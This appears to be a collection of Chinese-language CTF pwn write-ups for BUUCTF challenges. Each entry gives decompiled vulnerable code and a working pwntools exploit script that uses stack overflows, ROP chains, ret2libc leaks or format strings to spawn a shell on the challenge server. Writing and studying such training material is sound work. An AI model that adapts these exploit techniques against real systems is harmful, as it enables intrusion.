# rip ## Information - Category: Pwn - Points: 1 ## Write-up 丢给 IDA 老婆分析，看到有一个危险函数 `gets`，还有一个 `fun` 会返回 `system("/bi n/sh")`，保护全关。直接打，注意栈对齐。 ## Exploit ```python #!/usr/bin/python from pwn import ROP, args, context, flat, gdb, process, remote gdbscript = """ b *main+32 b *main+67 c """ FILE = "./pwn1" HOST, PORT = "node5.buuoj.cn", 27889 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): elf = context.binary rop = ROP(elf) payload = flat(b"A" * 0x17, rop.ret.address, elf.symbols["fun"]) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # warmup_csaw_2016 ## Information - Category: Pwn - Points: 1 ## Write-up `int sprintf(char* buffer, const char* format, ...);` 函数将格式化后的数据写入缓 冲区，返回值是写入的字符数，不包括末尾的空字符 `0`。`snprintf` 加入了缓冲区大小 检查以及自动截断，比 `sprintf` 更安全，虽然本题没考这个函数的安全性问题。 这里 `vuln` 的地址将被写入 buffer `s`，然后 `write` 负责将 buffer `s` 中前九个字 节，也就是 `vuln` 的地址输出到标准输出。 `main` 返回的是 `gets`，我们通过这个 `gets` 覆盖返回地址，修改为白送的 `vuln` 的 地址即可。 ```c del={11} __int64 __fastcall main(int a1, char **a2, char **a3) { char s[64]; // [rsp+0h] [rbp-80h] BYREF _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF write(1, "-Warm Up-n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%pn", vuln); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5); } ``` ```c int vuln() { return system("cat flag.txt"); } ``` ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, process, remote gdbscript = """ b *main+70 b *main+129 c """ FILE = "./pwn-patched" HOST, PORT = "node5.buuoj.cn", 26553 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(leaked_addr): payload = flat(b"A" * 0x48, leaked_addr) return payload def main(): target = launch() target.recvuntil(b"WOW:") leaked_addr = int(target.recvline().strip(), 16) payload = construct_payload(leaked_addr) target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # ciscn_2019_n_1 ## Information - Category: Pwn - Points: 1 ## Write-up 通过 `gets` 将 `v2` 篡改为 `11.28125` 即可。 ```c ins={9-10} del={8} int func() { _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h] v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125"); } ``` 第一次接触小数的处理问题，调试的时候，可以使用 `p/f $xmm0` 来查看这个寄存器的值 ，同理，使用 `p` 指令加上强制转换和解引用，可以检查地址处保存的小数值： ```asm wrap=false showLineNumbers=false pwndbg> p/f $xmm0 $1 = { v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0}, v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_float = {11.28125, 0, 0, 0}, v2_double = {5.404878958234834e-315, 0}, v16_int8 = {0, -128, 52, 65, 0 <repeats 12 times>}, v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_int32 = {11.28125, 0, 0, 0}, v2_int64 = {5.404878958234834e-315, 0}, uint128 = 3.98770131343430171379e-4942 } pwndbg> p/f $xmm0.v4_int32[0] $2 = 11.28125 pwndbg> p *(float *)($rbp - 4) $3 = 11.28125 ``` ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, process, remote, struct gdbscript = """ b *func+58 c """ FILE = "./ciscn_2019_n_1" HOST, PORT = "node5.buuoj.cn", 25637 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): payload = flat(b"A" * 0x2C, struct.pack("<f", 11.28125)) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # pwn1_sctf_2016 ## Information - Category: Pwn - Points: 1 ## Write-up ```c ins={12} del={18, 25-26} int vuln() { const char *v0; // eax int v2; // [esp+8h] [ebp-50h] char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF _BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF _BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF char v6; // [esp+47h] [ebp-11h] BYREF _BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF _BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(&input, s); std::allocator<char>::allocator(&v6); std::string::string(v5, "you", &v6); std::allocator<char>::allocator(v8); std::string::string(v7, "I", v8); replace((std::string *)v4, (std::string *)&input, (std::string *)v7); std::string::operator=(&input, v4, v2, v5); std::string::~string(v4); std::string::~string(v7); std::allocator<char>::~allocator(v8); std::string::~string(v5); std::allocator<char>::~allocator(&v6); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %sn", s); } ``` 从上面代码可知，`fegts` 读取了 32 个字符到 buffer `s`，其中 `0` 占了一个位置，所 以我们可以输入的有 31 个字符。 接着，`replace` 会将 buffer `s` 中的字符 `I` 替换为 `you`，返回修改后的字符串， 赋给 `input`；`v0` 是 `input.c_str()` 的结果，其中 `c_str()` 的功能是 `Returns a pointer to a null-terminated character array with data equivalent to those stor ed in the string.` 这个结果被 `strcpy` 复制到 buffer `s`，由于 `strcpy` 不会检查 buffer 大小，所以可能造成溢出，溢出后我们篡改返回地址返回到后门函数 `get_flag` 即可。 这个 `replace` 函数怎么说呢……反正我是没自己读反编译的代码，没学过 `C++`，看着头 好大……我做这题的时候刚开始是看见 `vuln` 中有涉及 `replace` 的字眼，就觉得可能会 对字符串做一些替换修改的操作吧。接着看到代码中出现的 `you`，`I` 这样的字符串常量 ，直接运行程序拿这些内容去试试，发现输入 `I` 会被替换成 `you`，那 `replace` 的作 用不用看也猜得差不多了。最后，闲的没事，我让 GPT 分析了一下 `replace` 的功能，和 猜的也差不多。太菜了呜呜呜…… ```cpp collapse={4-45} std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3 ) { int v4; // [esp+Ch] [ebp-4Ch] _BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF _BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF char v7; // [esp+1Bh] [ebp-3Dh] BYREF int v8; // [esp+1Ch] [ebp-3Ch] _BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF int v10; // [esp+24h] [ebp-34h] BYREF int v11; // [esp+28h] [ebp-30h] BYREF char v12; // [esp+2Fh] [ebp-29h] BYREF _DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF _BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF int v15; // [esp+3Ch] [ebp-1Ch] _BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF int v17; // [esp+44h] [ebp-14h] BYREF _BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF _BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF while ( std::string::find(a2, a3, 0) != -1 ) { std::allocator<char>::allocator(&v7); v8 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v9); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10); std::string::begin((std::string *)&v11); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v1 1, v10, &v7); std::allocator<char>::~allocator(&v7); std::allocator<char>::allocator(&v12); std::string::end((std::string *)v13); v13[1] = std::string::length(a3); v15 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v16); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v1 7, v13[0], &v12); std::allocator<char>::~allocator(&v12); std::operator+<char>((std::string *)v19); std::operator+<char>((std::string *)v18); std::string::operator=(a2, v18, v5, v4); std::string::~string(v18); std::string::~string(v19); std::string::~string(v5); std::string::~string(v6); } std::string::string(a1, a2); return a1; } ``` ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, process, remote gdbscript = """ b *vuln+42 c """ FILE = "./pwn1_sctf_2016" HOST, PORT = "node5.buuoj.cn", 28688 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): elf = context.binary payload = flat(b"I" * 21 + b"A", elf.symbols["get_flag"]) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # jarvisoj_level0 ## Information - Category: Pwn - Points: 1 ## Write-up 闹着玩呢？不写了，和第一题差不多。 ## Exploit ```python #!/usr/bin/python from pwn import ROP, args, context, flat, gdb, process, remote gdbscript = """ c """ FILE = "./level0" HOST, PORT = "node5.buuoj.cn", 27572 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): elf = context.binary rop = ROP(elf) payload = flat(b"A" * 0x88, rop.ret.address, elf.symbols["callsystem"]) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # [第五空间 2019 决赛] PWN5 ## Information - Category: Pwn - Points: 1 ## Write-up ```c del={19, 21} ins={23-28} int __cdecl main(int a1) { time_t v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h] v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result; } ``` 核心逻辑是判断 `atoi(nptr) == dword_804C044`，因此只要我们需要知道 `dword_804C04 4` 的值，就可以拿到 `shell`。 这题完全就是考了个格式化字符串漏洞，`read(fd, &dword_804C044, 4u);` 将随机数读取 到 `bss` 段，所以我们只要想办法泄漏 `bss` 中保存的 `dword_804C044` 的值就好了。` dword_804C044` 的地址可以通过 `bss` 段基地址加上 debug 出来的数据偏移计算得到。 把泄漏的地址和格式化字符串一起作为输入发送，用 `%s` 来输出栈上保存的地址所指向的 值。 ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, process, remote, u32 gdbscript = """ b *0x80492bc b *0x80492f0 c """ FILE = "./pwn" HOST, PORT = "node5.buuoj.cn", 26163 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def rev_atoi(data): return str(u32(data)).encode() def construct_payload(): elf = context.binary payload = flat(b"aa%12$sx00", elf.bss() + 0x4) return payload def main(): target = launch() payload = construct_payload() target.sendlineafter(b"your name:", payload) target.recvuntil(b"aa") passwd = rev_atoi(target.recv(0x4)) target.sendlineafter(b"your passwd:", passwd) target.interactive() if __name__ == "__main__": main() ``` # jarvisoj_level2 ## Information - Category: Pwn - Points: 1 ## Write-up ```c del={6} ssize_t vulnerable_function() { _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF system("echo Input:"); return read(0, buf, 256u); } ``` 观察上面程序，`read` 可以溢出破坏返回地址。由于这是 32-bit 程序，函数参数通过栈 来传递，所以我们可以覆盖返回地址为 `system@plt`，然后在栈上写传给 `system` 的参 数。 我们希望拿 `shell`，直接 IDA `Shift + F12` 看程序包含的字符串，发现有 `.data:080 4A024 hint db '/bin/sh',0`，那么参数问题就解决了，因为没开 PIE，直接就是固定地址 。 需要注意的是，如果你返回到 `call system@plt` 这样的内部指令，由于 `call` 指令会 自动将下一条指令的地址压入栈中，作为函数调用结束后的返回地址，所以你可以直接在它 之后写要传入的参数；而如果选择返回到 `system@plt`，那就需要手动提供一个地址作为 函数调用结束后的返回地址，之后才是跟着函数的参数。 即，`call` 指令可以分解为 `push eip_next; jmp <entry>`，而返回到 `system@plt` 相 当于直接 `jmp system@plt`，没有设置返回地址。 ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, process, remote gdbscript = """ set follow-fork-mode parent b *vulnerable_function+42 b *vulnerable_function+52 c """ FILE = "./level2" HOST, PORT = "node5.buuoj.cn", 25976 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): elf = context.binary payload = flat( b"A" * 0x8C, elf.plt["system"], 0x0, # return address placeholder next(elf.search(b"/bin/sh")), ) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # ciscn_2019_n_8 ## Information - Category: Pwn - Points: 1 ## Write-up ```c ins={11-14} del={10} collapse={18-40} int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5); if ( *(_QWORD *)&var[13] ) { if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh"); else printf( "something wrong! val is %d", var[0], var[1], var[2], var[3], var[4], var[5], var[6], var[7], var[8], var[9], var[10], var[11], var[12], var[13], var[14]); } else { printf("%s, Welcome!n", var); puts("Try do something~"); } return 0; } ``` `__isoc99_scanf((int)"%s", (int)var, v4, v5);` 存在栈溢出漏洞，因为没有限制 `%s` 可以读取的字符数。这里 IDA 反编译出来多了两个无关的参数 `v4` 和 `v5`，直接忽视 就好了。后面两个条件判断，第一个 `*(_QWORD *)&var[13]` 是将 `&var[13]` 处的八字 节，解释成一个整数，看它的值是否为 `0`，不为零则进入下一个判断；`*(_QWORD *)&var [13] == 0x11LL`，看 `&var[13]` 这个地址处的八字节整数是否为 `0x11`，成立则 `gets hell`。 ## Exploit ```python #!/usr/bin/python from pwn import args, context, flat, gdb, p64, process, remote gdbscript = """ b *main+100 b *main+105 c """ FILE = "./ciscn_2019_n_8" HOST, PORT = "node5.buuoj.cn", 29741 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): payload = flat(b"A" * 52, p64(0x11)) return payload def main(): target = launch() payload = construct_payload() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # bjdctf_2020_babystack ## Information - Category: Pwn - Points: 1 ## Write-up ```c del={16,18} int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0; } ``` `read` 读取多少字符是通过 `__isoc99_scanf` 控制的。 ## Exploit ```python #!/usr/bin/python from pwn import ROP, args, context, flat, gdb, process, remote gdbscript = """ b *main+197 b *main+208 c """ FILE = "./bjdctf_2020_babystack" HOST, PORT = "node5.buuoj.cn", 29741 context(log_level="debug", binary=FILE, terminal="kitty") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(): elf = context.binary rop = ROP(elf) payload = flat(b"A" * 0x18, rop.ret.address, elf.symbols["backdoor"]) return payload def main(): target = launch() payload = construct_payload() target.sendlineafter(b"your name:", b"1337") target.sendlineafter(b"What's u name?", payload) target.interactive() if __name__ == "__main__": main() ``` # ciscn_2019_c_1 ## Information - Category: Pwn - Points: 1 ## Write-up 程序的 `main` 函数里没什么有用的信息，重点看下面的 `encrypt` 函数。 ```c del={10,35} int encrypt() { size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); } ``` 基本就是把输入字符串经过一些 `xor` 运算，得到密文。注意到获取输入使用的是 `gets` ，所以我们可以覆盖返回地址。程序没有包含任何后门函数，所以我们可以打 shellcode 或者 ROP，但是程序开了 NX，而且 ropper 也没有给出什么 syscall 之类的构造 ROP 链 的 gadgets，那就打 ret2plt 泄漏 libc 地址，再打 ret2libc getshell. 不过我们的 payload 经过 `encrypt` 的加密会被破坏，所以一个想法是想办法让我们的输 入经过 `encrypt` 的加密出来得到的是 payload 本身，另一种想法是想办法绕过加密逻辑 。前者比较麻烦，我们优先思考后者。发现执行加密逻辑前有个判断，如果满足 `if ( v0 >= strlen(s) )` 就不会执行加密逻辑。字符串长度是通过 `strlen` 获取的，这个函数判 断字符串结束的方法是检测 `x00` 字符，所以如果我们把 `x00` 放在 payload 开头，这 个判断就会认为我们的字符串长度为 0，不去执行下面的加密逻辑，成功绕过。 因为 `encrypt` 是返回到 `puts(s)`，由于在此之前我们已经执行过 `puts` 了，所以 go t 表中一定有它在 libc 中的真实地址。所以我们可以通过 `puts` 泄漏 `puts@got` 中保 存的真实地址，然后算出 libc 基地址，再用 libc 中的 `system` 和 `/bin/sh` 字符串 构造 getshell 的 ROP 链。 由于我们返回到 `puts` 泄漏完地址后程序就结束了，所以我们在第一阶段泄漏出地址后需 要让程序返回到 `main`，重新运行主菜单逻辑（只要程序没有 exit，就不会改变 libc 基 址），之后再把第二阶段的 ROP 链发出去。 由于题目没给 libc，所以远程需要用 `LibcSearcher` 来打。本地打的时候直接用系统的 libc，等本地通了再改成 `LibcSearcher` 去打远端，直接用 `LibcSearcher` 打不通本地 ，可能因为 libc-database 更新不及时，没有我们本地的 libc 版本。 ## Exploit ```python #!/usr/bin/python from pwn import ROP, args, context, flat, gdb, log, process, remote, u64 from LibcSearcher.LibcSearcher import LibcSearcher gdbscript = """ # b *encrypt+61 # b *encrypt+322 # b *encrypt+334 c """ FILE = "./ciscn_2019_c_1" HOST, PORT = "node5.buuoj.cn", 28304 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) if args.D: gdb.attach(target, gdbscript=gdbscript) return target def construct_payload(stage, libc, libc_base): rop = ROP(elf) if stage == 1: return flat( b"x00", b"A" * 0x57, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.symbols["main"], ) elif stage == 2: return flat( b"x00", b"A" * 0x57, rop.rdi.address, libc_base + libc.dump("str_bin_sh"), rop.ret.address, libc_base + libc.dump("system"), 0x0, ) else: log.error(b"Failed constructing payload!") def main(): target = launch() payload = construct_payload(1, None, None) target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.recvuntil(b"Ciphertext") leaked_puts = u64(target.recv(0x8).strip().ljust(8, b"x00")) libc = LibcSearcher("puts", leaked_puts) libc_base = leaked_puts - libc.dump("puts") log.success(f"libc base: {hex(libc_base)}") payload = construct_payload(2, libc, libc_base) target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # jarvisoj_level2_x64 ## Information - Category: Pwn - Points: 1 ## Write-up `vulnerable_function` 有一个 BOF，我们用它覆盖 retaddr 构造 ROP Chain，由于会返 回到 `system("echo 'Hello World!'")`，我们只要想办法改掉 rdi 即可。这里没有发现 获得栈地址的方法，把 `/bin/sh` 写入栈上不行。但是 IDA 搜索字符串发现程序本身包含 `/bin/sh` 字符串，没 PIE，直接拿来用。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ROP, args, context, flat, p64, process, raw_input, remote FILE = "./level2_x64" HOST, PORT = "node5.buuoj.cn", 27792 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() rop = ROP(elf) payload = flat( b"A" * 0x88, p64(rop.rdi.address), 0x600A90, p64(rop.ret.address), elf.plt["system"], ) raw_input() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # get_started_3dsctf_2016 ## Information - Category: Pwn - Points: 1 ## Write-up main 中 `gets` BOF，覆盖返回地址为 `get_flag` 即可。但是这个函数会检测传入的两个 参数，我们需要把参数设置好。 本地打通了，打远程的时候遇到 `timeout: the monitored command dumped core`，有几 种说法是：栈没对齐；程序没正常退出。这里我们给 `get_flag` 设置返回到 `exit` 就行 。 ## Exploit ```python #!/usr/bin/env python3 from pwn import args, context, flat, p32, process, raw_input, remote FILE = "./get_started_3dsctf_2016" HOST, PORT = "node5.buuoj.cn", 25782 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() payload = flat( b"A" * 0x38, elf.sym["get_flag"], p32(0x0804E6A0), p32(814536271), p32(425138641), ) # raw_input() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # [HarekazeCTF2019]baby_rop ## Information - Category: Pwn - Points: 1 ## Write-up 和前面 `jarvisoj_level2_x64` 差不多。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ROP, args, context, flat, process, raw_input, remote FILE = "./babyrop" HOST, PORT = "node5.buuoj.cn", 28698 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() rop = ROP(elf) payload = flat( b"A" * 0x18, rop.rdi.address, next(elf.search(b"/bin/sh")), rop.ret.address, elf.plt["system"], ) # raw_input() target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # others_shellcode ## Information - Category: Pwn - Points: 1 ## Write-up 怕不是签到题？ ## Exploit ```python #!/usr/bin/env python3 from pwn import args, context, process, remote FILE = "./shell_asm" HOST, PORT = "node5.buuoj.cn", 28960 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() # raw_input() target.interactive() if __name__ == "__main__": main() ``` # [OGeek2019]babyrop ## Information - Category: Pwn - Points: 1 ## Write-up `strlen` 检测到 `x00` 就结束，所以先通过 `x00` 绕过 `strncmp`。之后将 `buf[7]` 处的一字节有符号整数转换为无符号数返回，如果这里是 `-1` 就会返回很大的数。 ```c ins={13-14} int __cdecl sub_804871F(int buffer) { size_t len; // eax char s[32]; // [esp+Ch] [ebp-4Ch] BYREF char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF ssize_t v5; // [esp+4Ch] [ebp-Ch] memset(s, 0, sizeof(s)); memset(buf, 0, sizeof(buf)); sprintf(s, "%ld", buffer); v5 = read(0, buf, 32u); buf[v5 - 1] = 0; len = strlen(buf); if ( strncmp(buf, s, len) ) exit(0); write(1, "Correctn", 8u); return (unsigned __int8)buf[7]; } ``` `sub_80487D0` 将上一个函数的返回值作为参数，如果等于 `127` 就执行第一个 `read`， 否则执行第二个 `read`。由于我们在 `buf[7]` 处保存 `-1`，会返回 `0xffffffff`，所 以我们获得了一个很大的 BOF 空间。 ```c del={8} ssize_t __cdecl sub_80487D0(char a1) { _BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF if ( a1 == 127 ) return read(0, buf, 200u); else return read(0, buf, a1); } ``` 思路是绕过 `sub_804871F` 的 `strncmp` 后，拿到一个很大的栈溢出，通过 `sub_80487D 0` 的 `read(0, buf, a1)` 构造 ROP，利用 `puts` 泄漏 libc，`puts` 返回到 `main` 触发二次输入，同理先绕检测，然后构造 getshell 的 ROP Chain. ## Exploit ```python #!/usr/bin/env python3 from pwn import ELF, args, context, flat, p32, process, remote, u32 FILE = "./challenge" HOST, PORT = "node5.buuoj.cn", 26812 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("./libc-2.23.so") def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() payload_1 = b"x00" * 0x7 + b"xff" + b"x00" target.send(payload_1) target.recvuntil(b"x0a") payload = flat(b"A" * 0xEB, elf.plt["puts"], p32(elf.sym["main"]), elf.got[" puts"]) target.send(payload) libc.address = u32(target.recv(0x4)) - libc.sym["puts"] target.send(payload_1) target.recvuntil(b"x0a") payload = flat(b"A" * 0xEB, libc.sym["system"], 0, next(libc.search(b"/bin/s h"))) target.send(payload) target.interactive() if __name__ == "__main__": main() ``` # ciscn_2019_n_5 ## Information - Category: Pwn - Points: 1 ## Write-up 一个保护都没开，本来想打 ret2shellcode，但是奈何没给 libc，啥也不是！ 无奈，只得使用好久没用过的 `LibcSearcher` 了 lol ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, process, raw_input, remote, u64, ) from LibcSearcher.LibcSearcher import LibcSearcher FILE = "./ciscn_2019_n_5" HOST, PORT = "node5.buuoj.cn", 26903 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() # raw_input("DEBUG") target.sendlineafter(b"name", b"") payload = flat( b"A" * 0x28, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym["main"], ) target.sendlineafter(b"me?", payload) target.recvline() leaked_puts = u64(target.recv(0x6).strip().ljust(0x8, b"x00")) libc = LibcSearcher("puts", leaked_puts) libc_base = leaked_puts - libc.dump("puts") payload = flat( b"A" * 0x28, rop.rdi.address, libc_base + libc.dump("str_bin_sh"), rop.ret.address, libc_base + libc.dump("system"), libc_base + libc.dump("exit"), ) target.sendlineafter(b"name", b"") target.sendlineafter(b"me?", payload) target.interactive() if __name__ == "__main__": main() ``` # not_the_same_3dsctf_2016 ## Information - Category: Pwn - Points: 1 ## Write-up BOF，ROP Chain，有后门函数 `get_secret`，会将 flag 写入 bss，我们通过 write 输出 bss 内容即可。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ROP, args, constants, context, flat, process, raw_input, remote, ) FILE = "./not_the_same_3dsctf_2016" HOST, PORT = "node5.buuoj.cn", 25163 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() # raw_input("DEBUG") payload = flat( b"A" * 0x2D, elf.sym["get_secret"], elf.sym["write"], elf.sym["exit"], constants.STDOUT_FILENO, elf.bss() + 0xAAD, 1337, ) target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` # ciscn_2019_en_2 ## Information - Category: Pwn - Points: 1 ## Write-up 不理解，这题和 [ciscn_2019_c_1](#ciscn_2019_c_1) 不是一样的吗？ ## Exploit Same as [ciscn_2019_c_1](#ciscn_2019_c_1). # ciscn_2019_ne_5 ## Information - Category: Pwn - Points: 1 ## Write-up ```c ins={24} collapse={4-21, 27-56} // bad sp value at call has been detected, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+0h] [ebp-100h] BYREF char src[4]; // [esp+4h] [ebp-FCh] BYREF char v6[124]; // [esp+8h] [ebp-F8h] BYREF char s1[4]; // [esp+84h] [ebp-7Ch] BYREF _BYTE v8[96]; // [esp+88h] [ebp-78h] BYREF int *p_argc; // [esp+F4h] [ebp-Ch] p_argc = &argc; setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fflush(stdout); *(_DWORD *)s1 = 48; memset(v8, 0, sizeof(v8)); *(_DWORD *)src = 48; memset(v6, 0, sizeof(v6)); puts("Welcome to use LFS."); printf("Please input admin password:"); __isoc99_scanf("%100s", s1); if ( strcmp(s1, "administrator") ) { puts("Password Error!"); exit(0); } puts("Welcome!"); while ( 1 ) { puts("Input your operation:"); puts("1.Add a log."); puts("2.Display all logs."); puts("3.Print all logs."); printf("0.Exitn:"); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 0: exit(0); return result; case 1: AddLog((int)src); break; case 2: Display(src); break; case 3: Print(); break; case 4: GetFlag(src); break; default: continue; } } } ``` bypass password 没啥好说的，main 函数中 `__isoc99_scanf("%100s", s1);` 虽然可以 破坏一些栈布局，但是程序下面有个 while 死循环，以致 main 不会返回，所以肯定不能 通过这个输入构造 ROP Chain. 继续往下看，while 里面的 scanf 也没有漏洞，不过发现一个隐藏选项 4。一个一个看，` AddLog` 里面有一个 scanf，接收 128 